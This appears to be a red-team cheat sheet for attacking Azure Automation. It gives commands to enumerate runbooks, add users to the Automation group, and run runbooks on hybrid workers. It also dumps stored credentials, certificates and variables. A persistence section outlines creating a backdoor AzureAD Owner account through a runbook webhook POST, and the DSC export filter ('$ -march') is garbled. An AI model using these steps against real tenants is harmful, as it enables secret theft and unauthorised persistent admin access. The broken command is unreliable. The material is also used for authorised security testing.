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Azure Services - Runbook and Automation


Runbook must be SAVED and PUBLISHED before running it.

List the Runbooks

Get-AzAutomationAccount | Get-AzAutomationRunbook

Create a Runbook

  • Check user right for automation
    az extension add --upgrade -n automation
    az automation account list # if it doesn't return anything the user is not a part of an Automation group
    az ad signed-in-user list-owned-objects
  • Add the user to the "Automation" group: Add-AzureADGroupMember -ObjectId <OBJID> -RefObjectId <REFOBJID> -Verbose
  • Get the role of a user on the Automation account: Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>. NOTE: Contributor or higher privileges accounts can create and execute Runbooks
  • List hybrid workers: Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>
  • Create a Powershell Runbook: Import-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose
  • Publish the Runbook: Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose
  • Start the Runbook: Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

Automation Account

List Automation Accounts

Azure Automation provides a way to automate the repetitive tasks you perform in your Azure environment.


Get Automation Credentials

Get-AzAutomationAccount | Get-AzAutomationCredential
Get-AzAutomationAccount | Get-AzAutomationConnection
Get-AzAutomationAccount | Get-AzAutomationCertificate
Get-AzAutomationAccount | Get-AzAutomationVariable

Persistence via Automation Accounts

  • Create a new Automation Account
    • "Create Azure Run As account": Yes
  • Import a new runbook that creates an AzureAD user with Owner permissions for the subscription*
    • Sample runbook
    • Publish the runbook
    • Add a webhook to the runbook
  • Add the AzureAD module to the Automation account
    • Update the Azure Automation Modules
  • Assign "User Administrator" and "Subscription Owner" rights to the automation account
  • Trigger the webhook with a post request to create the new user

    $uri = "[REDACTED]%3d"
    $AccountInfo  = @(@{RequestBody=@{Username="BackdoorUsername";Password="BackdoorPassword"}})
    $body = ConvertTo-Json -InputObject $AccountInfo
    $response = Invoke-WebRequest -Method Post -Uri $uri -Body $body

Desired State Configuration

List the DSC

Get-AzAutomationAccount | Get-AzAutomationDscConfiguration

Export the configuration

$DSCName = ${dscToExport}
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$ -march $DSCName} | Export-AzAutomationDscConfiguration -OutputFolder (get-location) -Debug